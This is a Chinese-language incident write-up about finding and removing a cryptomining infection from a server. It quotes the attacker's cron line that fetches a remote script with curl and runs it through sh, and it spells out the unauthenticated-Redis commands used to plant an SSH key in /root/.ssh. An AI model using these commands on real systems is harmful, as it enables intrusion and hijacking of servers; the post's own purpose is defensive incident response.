服務器挖礦病毒的排查過程
今天同事反饋公司的某臺服務器遠程連接不上,登錄服務器查看後,發現CPU使用率居高不下。kill掉後,一分鐘有自動生成,整個排查思路如下:
1、top 命令查看主機負載,確認可疑進程為bashd
2、確認可疑進程嘗試殺掉,pkill bashd ,但發現一會就出現,懷疑有定時任務
3、 排查定時任務,定時任務有2處可以設置,如下:
crontab –l 發現並沒有定時任務
/etc/crontab 確實有定時任務,將其刪除
4、檢查開機自啟動設置/etc/rc.loacl,果然放入了啟動任務,將其刪除。
5、 #find /-name bashd*
/root/bashd
/usr/sbin/bashd
查找bashd,發現有2個/usr/sbin/bash 刪除後1分鐘自動生成,/root/bashd 刪除時提示rm 命令錯誤,使用想到查看其權限,
#chattr –i /root/bashd
#rm –rf /root/bashd #修改權限後可以刪除了
6、可能是免密登錄了,去/root/.ssh目錄,果然有可疑的文件存在 bash。
7、 在ssh配置文件/etc/ssh/sshd_config中也看到把authorizeKEYfile指向了這個文件(bash).猜想是這樣的,通過authorized_keys免秘鑰登錄後,在這個目錄下創建了bash文件,修改了AuthorizedKeyfile的指向,root也設置了遠端登錄。
那麽是寫進來authorized_keys的那?
應該是redis未授權導致的,也就是說外網可以直接不用密碼登錄我的redis, 連上redis後,通過以下命令即可創建文件:
config set dir /root/.ssh
config set dbfilenameauthorized_keys
set key value,其中value為生成公鑰,即可將公鑰保存在服務器,使得登錄時不需要輸入賬號與密碼。
8、 先堵住免登錄漏洞
1)、修改ssh 端口號
2)、禁止root登錄
3)、修改無密碼登陸文件的路徑
4)、刪除.ssh 下的bashd
5)、外網只映射80
9、經過一頓折騰,總算把漏洞堵住了,病毒也刪除了,重啟後觀察半小時,服務器正常。
總結:大概是這樣的
1)把 */1* * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 寫入crontab
2)創建免登錄文件/root/.ssh/bash,修改ssh配置authorized_keys指向.ssh/bash,重啟
3)curl下載/opt/KHK75NEOiq33 這個文件,並執行安裝(/opt/KHK75NEOiq33--Install),然後啟動bashd
殺毒過程:
1) top 檢查可疑進程,pkill 殺死進程,如果進程還能存在,說明一定有定時任務或守護進程(開機啟動),檢查/var/spool/cron/root 和/etc/crontab 和/etc/rc.lcoal
2) 找到可疑程序的位置將其刪除,如果刪除不掉,查看隱藏權限。lsattr chattr 修改權限後將其刪除即可。
3) 查看/root/.ssh/目錄下是否設置了免秘鑰登陸,並查看ssh_config配置文件是否被篡改。
4) 在防火墻關閉不必要的映射端口號,重啟再測試是否還會有可疑進程存在。大致就這幾個方面的考慮。
到此為止,由於時間關系就沒有放截圖上來。
服務器挖礦病毒的排查過程